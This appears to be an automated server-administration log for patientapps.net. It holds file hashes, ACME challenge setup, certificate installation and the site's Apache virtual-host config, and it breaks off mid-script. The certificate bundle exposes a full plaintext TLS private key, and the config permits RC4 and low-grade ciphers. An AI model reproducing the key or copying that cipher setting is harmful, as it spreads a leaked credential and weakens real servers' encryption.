MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-09 11:44:24: Establishing a connection
2025-10-09 11:44:24: Establishing a connection
2025-10-09 11:44:24:
PUT: /tmp/pkp889483
#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 11:44:24:
chmod 755 /tmp/pkp889483; /tmp/pkp889483; rm /tmp/pkp889483
2025-10-09 11:44:24:
1
2025-10-09 11:44:26: Establishing a connection
2025-10-09 11:44:26:
PUT: /tmp/pkp791241
#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
cat > 0H_JcFnX1CY7hQ2CosYCa70mofF4sUEXTNybkabY4r4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0H_JcFnX1CY7hQ2CosYCa70mofF4sUEXTNybkabY4r4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0H_JcFnX1CY7hQ2CosYCa70mofF4sUEXTNybkabY4r4
cat > rFVYejFGSkwgjccW5GsJ2cpVdjfJYPNwLw_XSncCRto <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rFVYejFGSkwgjccW5GsJ2cpVdjfJYPNwLw_XSncCRto.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rFVYejFGSkwgjccW5GsJ2cpVdjfJYPNwLw_XSncCRto
2025-10-09 11:44:26:
chmod 755 /tmp/pkp791241; /tmp/pkp791241; rm /tmp/pkp791241
2025-10-09 11:44:26:
2025-10-09 11:44:32: Establishing a connection
2025-10-09 11:44:32:
PUT: /tmp/pkp757714
#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
rm 0H_JcFnX1CY7hQ2CosYCa70mofF4sUEXTNybkabY4r4
rm rFVYejFGSkwgjccW5GsJ2cpVdjfJYPNwLw_XSncCRto
2025-10-09 11:44:32:
chmod 755 /tmp/pkp757714; /tmp/pkp757714; rm /tmp/pkp757714
2025-10-09 11:44:32:
2025-10-09 11:44:32: Establishing a connection
2025-10-09 11:44:32:
PUT: /tmp/pkp868365
#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8.crt
cat > $temp_file <<'endmsg'
71:e0:34:8a:ad:27:e5:3d:9e:84:8e:5a:7e:38:3a:dd
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBn/Z2BBkz5S7wtdYCjacgJBCMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MTA0NjAxWhcNMjYwMTA3MTA0NjAwWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCybVMm17ecDb1x2k90H7ApXRlYQsVexjsiumSp4yPSpFQVbKvNNrb0ERpsfxhT
sZPKR1hH1dbW5c61zPN4w8Z9VpdHvMFV+J7HsnPVvyHLshH+8xrkSs5N9AxGH0hJ
ZxLyW7HFm4voIOXEVchtVoz7RQ3PB3owZnKd9A/iTD2ysqbNx7XW1B5EVBpyw5f0
z/Jq7ZLK+PqCd2RrszUg/q5IC3e3zflgUv/3W4uNuu04+mMe9j/TbQtnwWVZ6gf2
MDiH2doYq2cymuys30FL4jGxC0JlrBGr6uqMG7uoGKPH+IPGy9Xxt0m8kJGJjrpv
CiFYSumk4EFAYjyK0EDZjB55AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFItGU6iAxe2jDiLLQ+bYKm5QymKiMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcGF0aWVudGFwcHMubmV0ghN3
d3cucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGZyMl67wAABAMARjBEAiAqrI21y6UAledNDAkFqvKCnvkYm1oLX2szJ4Y+
7y3M/AIgNxa9X/OlvoaMSIGFxhRti10y2So1I7Mh06ipv663aMwAdQCWl2S/VViX
rfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZnIyXsnAAAEAwBGMEQCID87Gx9Q
2c5DcdLYmV2OaguRukVXp2cRraeVyuM19UqVAiBvGz62+lXJ/MkyCtryZBtmHK6D
xJWAy9X483SAgrDsCjANBgkqhkiG9w0BAQsFAAOCAQEAew9rungjdlePgQSMx7vn
Ndhav4uIiQY9D30vCg1Nbeyc96w2bL1HSfJV7OONQKkurEPSFKpOyBR1DBFZQ/Pm
aIZhxO2rsOZIcb6z6DKGFGHIw+0tMnGSpEP2eAyqBTU9WzeU3GeLFMPCVQ9k4jZ0
4EUbIM8fvPzfvVRPOslRRJ+QaPH27c9EvkFIYlyOpqkl1m2nXTzWjJECZcaQSEtW
bC5hMqb7LtLgDtOhXb04bLJZsLdj5R1P1ubPVN7LrwuG+d8rFRMf90yVY5ys+nNs
thacCchYfsM0U+PvF1XAQ/snIwEMA3fZBRjkFV6pa0Uge0ELZaHyUOs+gdjojcDX
QQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCybVMm17ecDb1x
2k90H7ApXRlYQsVexjsiumSp4yPSpFQVbKvNNrb0ERpsfxhTsZPKR1hH1dbW5c61
zPN4w8Z9VpdHvMFV+J7HsnPVvyHLshH+8xrkSs5N9AxGH0hJZxLyW7HFm4voIOXE
VchtVoz7RQ3PB3owZnKd9A/iTD2ysqbNx7XW1B5EVBpyw5f0z/Jq7ZLK+PqCd2Rr
szUg/q5IC3e3zflgUv/3W4uNuu04+mMe9j/TbQtnwWVZ6gf2MDiH2doYq2cymuys
30FL4jGxC0JlrBGr6uqMG7uoGKPH+IPGy9Xxt0m8kJGJjrpvCiFYSumk4EFAYjyK
0EDZjB55AgMBAAECggEAfejF38gkClxrzjb3EIP4BQhshSsBKmMKgfQ0auodclyB
9WhtR/APZOXY1q1NVmoeV4THGFIfPCCJISOSwCqvG+2J7ZaWe/to2JTmRvSMfbiY
GGgnFuhu8vV/38/da+bvqNTp+v9L2C+21DiQqg+Ehx/woaKuKA9zXGFJADE67KkV
CutWBhGLvERA1ZZe/j10qdFdjcPZUxD5jMdRWFPyc0KRmCejJwgcxq/L2tdjv3dK
D2JPApAtlmVfKqDeBvUrxr3A67c1ECNTthE+Nls2OmYhiqxMoLeb9L0cgufE1WBF
zgBYFXYOVSJIxIm3PLCBAMTmWg4fd9WSHI+9ZNKYPQKBgQDiNe9vO8D7mrR/lTH/
n8UF3DLqkOgZI5Csp6mHxir0nefVWFMq0Svswk0xJAKqcpSgIursQXV4Gqnb0unH
OjpYralVKKEq94QQesojyoGOWGyU67ntMjjSrOYFm4x9y2UYbF2cIG9C8CeMjBWS
+MME+hQjr86cxCv3oq+lxCkCmwKBgQDJ7H8+RF6AksMNvpdJsQuu1dOs7meSPFpB
vUTElAHQpCv89n4ECK1qwJBflzWIBlq5/FMTSYXlzIkthDBTM5vrKAErqJqNaCx6
IdYH/brisk84s13OYbnF1X6g+aznQfIyc89bUFkMocATpiuY+1BRay8lCm2BtiKb
fgHZ0G56ewKBgQCwOVJI9mT13WSGC8WCnYXQdeWYhMC7bNB1ILxaUJAANs93jbJk
pcUxUYDvKl2FSXPteKZI3QnVQfhXjuyeTwdLNCa5d8huf5p7eBznWwgoy0vzi9wx
I7HOtfEQJ0iAayZbq3gVe9MRc6Nrw2m/MFpFE0kDMB+mUtDpvuxVGAbWxwKBgQC/
ILT8aliNGN2518p5vTRSxCD9UhgE6k2AZjd+Xp4tMAhXA7YZ+WC0aBr/8C+CVolv
++9ilThBYM4DoFjhmDsgZhhdi9TmvlFDNV3S6I8J3z9vaxACtqvSH5ghpNLNfrVS
nh4Kz83KUBxwPNyNjGvk9TCFvg4TNiQhzC7STiEUmwKBgC+j4Zy9Kiiq1Eg2MWDX
Y9Yb5T+Yl6u/hRNr4H7TV3hYOeGd1Q6/5cntI82WMQfdVq5OZwSo/glPzUzZiYwb
+rOhoDteq2Y+V04TVkuT9vreVKG/IbN9NyoVaIcVlNOuk9tZ+h8hBRYGIEE/zldV
yD9LiAHStiEhsbULmWEYB7TY
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-09 11:44:32:
chmod 755 /tmp/pkp868365; /tmp/pkp868365; rm /tmp/pkp868365
2025-10-09 11:44:32:
dir=/etc/ssl/certs
2025-10-09 11:44:32:
PUT: /tmp/pkp178740
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-09 11:44:32:
chmod 755 /tmp/pkp178740; /tmp/pkp178740; rm /tmp/pkp178740
2025-10-09 11:44:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 43
<VirtualHost *:80>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
2025-10-09 11:44:32:
PUT: /tmp/pkp184284
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf'
